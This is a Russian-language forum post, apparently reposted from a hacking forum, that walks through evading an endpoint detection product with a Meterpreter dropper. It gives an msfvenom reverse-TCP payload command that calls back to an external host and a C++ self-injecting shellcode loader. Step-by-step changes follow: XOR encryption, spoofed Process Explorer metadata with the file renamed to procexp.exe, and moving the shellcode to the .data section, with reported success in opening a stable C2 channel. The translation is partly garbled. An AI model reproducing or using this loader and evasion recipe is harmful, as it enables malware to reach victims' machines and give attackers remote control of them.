Meterpreter в сравнении с современными МЭД

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Author: witchking_angmar
Fonte: Xss.is


Введение

Говоря о МЭД в этой статье, я имею в виду сочетание защиты конечных точек (EPP) и обнаружения и реагирования на конечные точки (EDR). Я также хочу дать определение термину "обход" в контексте EDR и вредоносного ПО. Когда я говорю о том, что существует или существовала возможность обойти EDR, термин "обход" означает, что со стороны EDR не происходит предотвращения или обнаружения. Однако EDR продолжает собирать телеметрические данные о конечной точке, которые могут быть использованы для активного поиска угроз.

Однако, с точки зрения злоумышленников (Red Team), существует целый ряд различных техник, таких как прямые системные вызовы, косвенные системные вызовы, отключение API и т. д., которые могут помочь нам, как Red Team, избежать обнаружения системами Endpoint Protection (EPP) и Endpoint Detection and Response (EDR). Однако даже если вы добавляете в свое вредоносное ПО различные функции уклонения, например, дроппер шелл-кода, используемая командно-контрольная (C2) структура или соответствующий шелл-код часто оказываются определенным ограничением. С современными C2 от Red Team, такими как Nighthawk, Cobal Strike, Brute Ratel и т. д., это кажется меньшей проблемой, поскольку шеллкод или полезная нагрузка стейджера уже по умолчанию оснащены очень полезными функциями уклонения, такими как косвенные вызовы системы, аппаратные точки останова и т. д.

Несколько иначе обстоят дела со свободно распространяемыми фреймворками, такими как Metasploit Framework (MSF), которые иногда могут значительно затруднить обход современных МЭД в контексте командно-контрольных соединений. Обнаружат ли МЭБ шелл-код Meterpreter или его выполнение, и на каком этапе, зависит от различных факторов, таких как сигнатуры в шелл-коде. Аналогичным образом, поведение исполняемого шелл-кода в памяти может быть важным для обнаружения EDR. Например, шелл-код Metasploit или Meterpreter в памяти обнаруживается EDR на основе определенных шаблонов.

Например, если вы посмотрите на легитимные области памяти с помощью Process Hacker, то увидите, что они имеют тип Image и указывают на связанное с ними изображение. Если вы посмотрите на полезную нагрузку meterpreter в памяти, вы заметите, что там также есть некоторые частные области памяти, которые не ссылаются на изображение. Например, можно выделить стейдж 4kBmeterpreter. Такие области памяти называются исполняемыми секциями без подложки и обычно классифицируются EDR как вредоносные.

Аналогично, с точки зрения EDR, весьма необычно, чтобы поток имел, например, области памяти в секции .text (код), помеченные как read (R), write (W) и executable (X) одновременно. По умолчанию секция .text является секцией структуры PE, доступной только для чтения. При использовании полезной нагрузки Meterpreter это применимо не полностью, поскольку при использовании Windows VirtualAlloc API некоторые области дополнительно помечаются как записываемые (W) и исполняемые (X), или затронутая область памяти помечается как RWX целиком (PAGE_EXECUTE_READWRITE).

msf_stager_pages.png




В качестве базы или эталона используется простая самовпрыскивающаяся пипетка (эталонная пипетка) на C++, которая затем шаг за шагом модифицируется. После каждой модификации эталонного дроппера определяется, дает ли эта модификация преимущество в обходе тестируемого EDR. В ходе работы над этой статьей будут произведены следующие три модификации эталонного дроппера:

1. Шифрование шеллкода: XOR-шифрование шеллкода метрпретера эталонного дроппера

2. Метаданные: Добавление легитимных метаданных к дропперу XOR shellcode с помощью файла манифеста

3. PE-структура: Переместите шеллкод метеопреобразователя из секции .text в секцию .data в структуре PE



Мы также хотим измерить значение энтропии нашего дроппера после каждого изменения. Энтропия - это мера случайности в наборе данных. В контексте информатики и кибербезопасности чаще всего используется энтропия Шеннона. В общем случае нормальный файл имеет упорядоченную структуру, низкую энтропию и высокую плотность. Структура аномальных файлов (вредоносных программ), как правило, имеет высокую энтропию и низкую плотность. Значение энтропии может использоваться или используется системами EDR для окончательной классификации подозрительного файла как легитимного или вредоносного. Файлы с энтропией от 4,8 до 7,2 с большей вероятностью будут классифицированы EDR как легитимные, в то время как файлы с энтропией выше 7,2 с большей вероятностью будут классифицированы как вредоносные.

Чтобы узнать больше об энтропии в контексте вредоносного ПО, обратитесь к следующей статье. Для измерения энтропии использовалась бесплатная версия программы pestudio.

Из уважения к производителю МЭД название МЭД не упоминается. Однако читателям предлагается провести тест с помощью собственного МЭД.

Эталонная капельница Meterpreter​



Сначала нам нужно создать наш эталонный дроппер на C++. Поэтому мы начнем с создания поэтапной TCP-полезной нагрузки meterpreter с помощью msfvenom. Параметр -f указывает на то, что мы хотим получить полезную нагрузку в типичном шестнадцатеричном формате шеллкода.

Код: Скопировать в буфер обмена
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c

meterpreter_tcp_payload.png



Сгенерированный шеллкод meterpreter в шестнадцатеричном формате можно вставить в POC на C++ и скомпилировать.
C++: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>

int main() {

    // Replace your MSF-Shellcode
    unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";

    // Allocate memory for MSF-Shellcode
    void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy MSF-Shellcode into the allocated memory
    memcpy(exec, code, sizeof code);

    // Execute MSF-Shellcode in memory
    ((void(*)())exec)();
    return 0;

}

Техническое пояснение Ссылка Капельница
1. Мы определяем код переменной в функции main, которая хранит наш шелл-код метрпретера. Поскольку переменная определяется внутри функции main, она объявляется как локальная переменная, а шеллкод хранится в секции .text (code), или, в нашем случае, в .rdata, поскольку размер стейджа метрпретера превышает 255 байт (спасибо Paranoid Ninja и den18 за помощь в этой теме!).
2. Мы определяем указатель типа void* с переменной exec, которая указывает на Windows API VirtualAlloc и возвращает начальный адрес выделенного блока памяти.
3. Windows API VirtualAlloc используется для выделения памяти, краткое объяснение параметров, используемых в функции.
3.1. Первый аргумент, 0, - это указатель на начальный адрес блока памяти. В данном случае мы просим VirtualAlloc определить начальный адрес, передавая нулевой указатель.
3.2. Второй аргумент, sizeof code, задает размер выделяемого блока памяти. Поскольку код представляет собой массив байтов, размер массива вычисляется с помощью оператора sizeof.
3.3. Третий аргумент, MEM_COMMIT, указывает VirtualAlloc на выделение страниц памяти для блока, что означает выделение физической памяти. Это гарантирует, что память будет доступна для использования.
3.4. Четвертый аргумент, PAGE_EXECUTE_READWRITE, определяет защиту памяти для выделенного блока. В данном случае это определение чтения (R), записи (W) и исполняемости (X).
4. Функция memcpy вызывается для копирования шеллкода meterpreter из массива кода в выделенную память.
4.1. Первый аргумент, exec, представляет собой указатель на целевой блок памяти.
4.2. Второй аргумент, code, представляет собой указатель на исходный блок памяти.
4.3. Третий аргумент, sizeof code, задает количество байт для копирования.
5. Код оболочки выполняется путем вызова указателя функции ((void(*)())exec)(). При таком синтаксисе указатель exec преобразуется в указатель функции, затем вызывается функция, а затем выполняется шелл-код meterpreter.

Наблюдения

После копирования эталонного дроппера шелл-кода Meterpreter на жесткий диск компьютера с установленным EDR файл .exe был статически обнаружен протестированным EDR, как и ожидалось, классифицирован как вредоносный с высоким приоритетом и помещен в карантин. Этого следовало ожидать, поскольку стандартный шелл-код Meterpreter имеет уникальные статические сигнатуры и, как следствие, должен быть обнаружен любым современным EDR как вредоносный и предотвращен от запуска.
Flow_chart_msf_reference_dropper.png


Как уже говорилось в начале, мы всегда хотим следить за энтропией нашего дроппера шеллкода и используем для этого бесплатную версию PE-Monitor. В данном случае энтропия скомпилированного эталонного дроппера равна 4,901.

EDR_High_Alert_entropy.png




Meterpreter Shellcode XOR-шифрование

В этом разделе мы начнем с первой модификации нашего эталонного дроппера. Чтобы предотвратить статическое обнаружение шеллкода meterpreter, мы можем попробовать зашифровать шеллкод с помощью алгоритма XOR. В общем случае шифрование шеллкода увеличивает энтропию дроппера, но поскольку мы хотим избежать слишком сильного увеличения, мы намеренно решили не шифровать его более сильным алгоритмом, например AES, в этом эксперименте.

Для шифрования шеллкода meterpreter можно использовать следующий код на C++. Он не самый умный и не самый удобный, но он справляется со своей задачей и выдает на выходе зашифрованный XOR-шифрованием шеллкод Meterpreter TCP.
C++: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>

int main()
{
    unsigned char code[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...";

    char key = 'ABCD';
    int i = 0;
    for (i; i < sizeof(code); i++)
    {
        printf("\\x%02x", code[i] ^ key);
    }

xor_encrypted_meterpreter_shellcode.png



Чтобы иметь возможность использовать зашифрованный шеллкод, мы дополняем наш эталонный дроппер частью для расшифровки XOR. Зашифрованный с помощью XOR шеллкод и используемый ключ затем вставляются в проект VS.
C++: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>

int main() {

    // Replace your XOR encrypted MSF-Shellcode
    unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";

    // Decrypt XOR encrpyted MSF-Shellcode
    char key = 'ABCD';
    int i = 0;
    for (i; i < sizeof(code) - 1; i++)
    {
        code[i] = code[i] ^ key;
    }

   
    // Allocate memory for the decrypted MSF-Shellcode
    void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy the MSF-Shellcode into the allocated memory
    memcpy(exec, code, sizeof code);

    // Execute the decrypted MSF-Shellcode in memory
    ((void(*)())exec)();
    return 0;

}


Наблюдения

В ходе тестирования EDR были сделаны различные наблюдения. Интересно, что XOR-шифрования шеллкода Meterpreter не всегда было достаточно для обхода статической части EDR. Хотя конфигурация EDR не менялась между попытками, наш дроппер (.exe) был частично перехвачен статическим детектором EDR и перемещен в карантин.

В некоторых попытках для обхода статического обнаружения EDR было достаточно зашифровать шелл-код Meterpreter с помощью алгоритма XOR. В этих случаях (в лучшем случае) наш дроппер смог выполниться, но был обнаружен динамическим анализом EDR, и было поднято оповещение со средним приоритетом. В некоторых случаях (худший случай) дроппер Meterpreter все же был статически обнаружен EDR после выполнения и классифицирован как предупреждение с высоким приоритетом. В целом, однако, можно отметить первый небольшой частичный успех, поскольку EDR удалось снизить приоритет оповещения с высокого до среднего.

Flow_chart_msf_first_modification.png



После первой модификации эталонного дроппера мы хотим снова измерить энтропию нашего скомпилированного .exe с помощью pestudio. Как и ожидалось, энтропия немного увеличивается с 4,901 до 5,033 за счет шифрования шеллкода Meterpreter.

EDR_XOR_Medium_Alert_entropy.png




Metadata-Manifest

На предыдущем этапе мы добились частичного успеха в эксперименте по уклонению от EDR. Однако в некоторых случаях наш дроппер с шелл-кодом Meterpreter был статически обнаружен EDR и помещен в карантин, несмотря на XOR-шифрование.

Вторая модификация эталонного дроппера Meterpreter заключается в исследовании эффекта от добавления легитимных метаданных в виде файла манифеста. Проще говоря, с помощью этой модификации мы хотим, чтобы наш дроппер шеллкода приобрел некоторую легитимность с точки зрения EDR. Для этого эксперимента код из предыдущего шага (XOR-шифрование) не изменяется, мы просто добавляем в проект Visual Studio пустой файл манифеста, который затем заполняется метаданными. Файл манифеста может быть добавлен в проект Visual Studio как ресурс (версия). В данном случае мы используем метаданные из Process Explorer для нашего манифеста (извините, Марк, за использование метаданных из Process Explorer).

VS_manifest_ressource.png



Затем мы можем перекомпилировать наш дроппер с шелл-кодом Meterpreter и увидеть, что наш .exe теперь имеет метаданные оригинального procexp.exe. Чтобы наш дроппер выглядел еще более легитимным, мы изменим его имя на procexp.exe.

manifest_procexp.png




Наблюдения

Несмотря на то, что конфигурация МЭД не менялась между испытаниями, в нескольких испытаниях после второй модификации можно было сделать разные наблюдения.

В целом можно сказать, что добавление легитимных метаданных положительно влияет на наш дроппер шеллкода (с точки зрения злоумышленника), но в деталях наблюдались явные различия. Напомним, что после первой модификации, в которой мы зашифровали шелл-код с помощью алгоритма XOR, все еще были попытки, в которых шелл-код meterpreter был статически перехвачен EDR. После добавления легитимных метаданных в наш дроппер мы обнаружили, что метаданные положительно влияют на статическое уклонение от EDR. Другими словами, хотя дроппер и раньше статически перехватывался шеллкодом XOR, после добавления метаданных дроппер больше не перехватывался EDR. Это еще один небольшой частичный успех, поскольку проблема статического вторжения EDR на данный момент решена.

После запуска нашего дроппера (procexp.exe) мы также наблюдали другое поведение EDR. В некоторых экспериментах (в лучшем случае) метаданные также оказывали положительное влияние на динамическое вторжение EDR. То есть двух модификаций, XOR-шифрования и добавления легитимного файла манифеста, было достаточно, чтобы обойти известный EDR с помощью TCP-шеллкода метпретера. В дальнейших попытках (наихудший случай) - конфигурация EDR снова оставалась неизменной - дроппер смог выполниться, но был обнаружен EDR с низким приоритетом. Несмотря на то что дроппер все еще частично обнаруживался EDR после выполнения с помощью динамических механизмов обнаружения, мы можем заявить о еще одном небольшом успехе, поскольку нам удалось снова понизить приоритет оповещения, на этот раз со среднего до низкого.

Flow_chart_msf_second_modification.png



Также было замечено, что добавление легитимных метаданных в виде файла манифеста уменьшило энтропию с 5,033 до 4,922.

EDR_XOR_Manifest_Low_Alert_entropy.png



От .text к .data

На предыдущем этапе мы добились еще одного частичного успеха. В лучшем случае двух модификаций (XOR и Manifest) нашего эталонного дроппера Meterpreter оказалось достаточно, чтобы обойти протестированный EDR и открыть стабильный канал командования и управления (C2). В худшем случае наш дроппер все равно был обнаружен и заблокирован EDR после выполнения, но даже в этом случае мы смогли добиться еще одного частичного успеха, снизив уровень тревоги EDR со среднего до низкого.

Третья и последняя модификация нашего дроппера заключается в исследовании влияния на обход EDR того, что мы не определяем шелл-код meterpreter как локальную переменную внутри функции Main, как раньше, и таким образом сохраняем его в секции .text (код) структуры PE. Вместо этого мы определяем код переменной шеллкода вне функции Main и, таким образом, как глобальную переменную, а сам шеллкод храним в секции .data структуры PE.
C++: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>

    // Replace your XOR encrypted MSF-Shellcode
    unsigned char code[] = "\xa6\x12\xd9\xbe\xaa\xb2\x96\...";

int main() {

    // Decrypt XOR encrpyted MSF-Shellcode
    char key = 'ABCD';
    int i = 0;
    for (i; i < sizeof(code) - 1; i++)
    {
        code[i] = code[i] ^ key;
    }

   
    // Allocate memory for the decrypted MSF-Shellcode
    void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy the MSF-Shellcode into the allocated memory
    memcpy(exec, code, sizeof code);

    // Execute the decrypted MSF-Shellcode in memory
    ((void(*)())exec)();
    return 0;

}

После того как третья модификация успешно выполнена, то есть код переменной определен как глобальная переменная, CFF Explorer можно использовать для проверки того, действительно ли XOR-код Meterpreter находится в секции .data.

CFF_shellcode_in_data.png




Наблюдения

После третьей модификации дроппера шелл-кода Meterpreter в нескольких попытках наблюдалось одно и то же поведение EDR. EDR не обнаружил наш дроппер шелл-кода Meterpreter статически после копирования дроппера на диск, а также не определил дроппер как вредоносный после выполнения. Даже после повторного выполнения через разные промежутки времени дроппер Meterpreter (XOR, manifest и .data) не был обнаружен EDR, и удалось установить стабильный канал C2.

Оказывает ли и почему перемещение шеллкода Meterpreter из секции .text (секции кода) или .rdata в секцию .data положительный эффект на возможности уклонения нашего дроппера шеллкода, на данный момент не совсем ясно, и можно сделать только следующие предположения, не претендующие на правильность или полноту.

1. Решение EDR использует методы сканирования памяти, которые специально разработаны для обнаружения шеллкода в секции .text, но не в секции .data. Например, EDR может использовать методы обнаружения на основе сигнатур, которые эффективны для обнаружения общих шаблонов шеллкода в разделе .text, но могут быть не столь эффективны для обнаружения того же шеллкода в разделе .data.

2. Раздел .text обычно является областью памяти, доступной только для чтения, в то время как раздел .data доступен для чтения и записи. Если решение EDR не контролирует доступ на запись к секции .data, оно может не обнаружить вредоносный шелл-код, записанный в эту область памяти.

Flow_chart_msf_third_modification.png


Мы также хотим определить энтропию нашего тройного модифицированного шеллкода-дроппера. Интересно, что перемещение шеллкода Meterpreter в секцию .data привело к снижению энтропии с 4,922 до 4,783.

shellcode_in_data_section_entropy.png




Резюме

После того как эталонный дроппер был скопирован в неизменном виде на жесткий диск компьютера с установленным EDR, EDR произвел его обнаружение на основе известных сигнатур в шелл-коде Meterpreter. Дроппер (.exe) был классифицирован как вредоносный с высоким приоритетом и перемещен в карантин.

Первая модификация заключалась в простом XOR-шифровании шеллкода Meterpreter, а POC эталонного дроппера был расширен, чтобы включить часть XOR-дешифрования. Несмотря на то что дроппер не подвергался дальнейшим модификациям и конфигурация EDR не менялась между экспериментами, мы получили разные результаты. В некоторых случаях XOR-шифрования известного шеллкода meterpreter было недостаточно, и он все равно статически обнаруживался EDR и получал высокий приоритет. В других тестах с тем же EDR дроппер не был обнаружен статически. Дроппер смог запуститься на цели, но затем был динамически обнаружен EDR. Однако был зафиксирован первый частичный успех, так как EDR изменила приоритет оповещения с высокого на средний.

Вторая модификация заключалась в добавлении легитимных метаданных Process Explorer к дропперу XOR в виде файла манифеста. И снова конфигурация EDR не менялась между экспериментами, но и в этом случае были получены разные результаты. В худшем случае метаданные, добавленные в дроппер, "всего лишь" положительно повлияли на обход статического обнаружения EDR, и дроппер все равно был обнаружен EDR после выполнения. В лучшем случае метаданные в виде файла манифеста также оказывали положительное влияние на обход динамического обнаружения EDR. Другими словами, выполнение дроппера больше не блокировалось EDR, и можно было открыть стабильный командно-управляющий канал Meterpreter. Однако, несмотря на то что добавление метаданных procexp.exe положительно сказалось только на статическом вторжении EDR, как было описано выше, был и еще один частичный успех: EDR больше не присваивал дропперу средний, а низкий приоритет.

Третья и последняя модификация нашего дроппера шеллкода Meterpreter заключалась в перемещении шеллкода из секции .text в секцию .data путем объявления кода переменной шеллкода в POC C++ в качестве глобальной переменной вместо локальной. Здесь мы обнаружили, что третьего изменения было достаточно, чтобы "навсегда" обойти EDR, несмотря на простой самовзрыв и шеллкод Meterpreter в наших экспериментах.

Также было интересно наблюдать, что добавление легитимных метаданных (манифеста), а также перемещение шеллкода Meterpreter в секцию .data в структуре PE оказало снижающее влияние на энтропию дроппера Meterpreter.

1. Эталонный дроппер со стандартным TCP-шеллкодом Meterpreter -> 4.901
2. Дроппер после первой модификации (XOR) -> 5.033
3. Дроппер после второй модификации (XOR и манифест) -> 4.922
4. Дроппер после третьей модификации (XOR, манифест и .data) -> 4.783

Почему сегодня можно "навсегда" обойти известный EDR с помощью простого TCP-платежа с метрпретором, внятно объяснить невозможно. Я предполагаю, что комбинация трех модификаций помогает дропперу обрести легитимность и, таким образом, перестать восприниматься EDR как вредоносная программа в целом. На мой взгляд, энтропия дроппера также играет решающую роль. В случае с протестированными EDR у меня сложилось впечатление, что если энтропия вредоносной программы находится в диапазоне от 4,5 до 4,8, то вероятность того, что она не будет обнаружена EDR как вредоносная, значительно выше.

Но что мы можем узнать из этого теста? Хотя я сам был немного удивлен в случае с протестированным EDR, я не заинтересован в том, чтобы указывать пальцем на тот или иной продукт. Гораздо важнее для меня осознание того, что с точки зрения злоумышленника для обхода EDR не всегда требуются сложные техники уклонения. Нескольких простых модификаций самовпрыскивающейся капельницы достаточно, чтобы обойти даже хорошие системы EDR. Эксперимент также показал мне, что шеллкод C2-фреймворка не обязательно является ограничением. В случае с Meterpreter, вероятно, существует множество сигнатур, используемых для обнаружения EDR, но с помощью нескольких простых модификаций все же можно создать пригодный для использования дроппер Meterpreter.


Ссылки
Спойлер: Links

View hidden content is available for registered users!
 
Сверху Снизу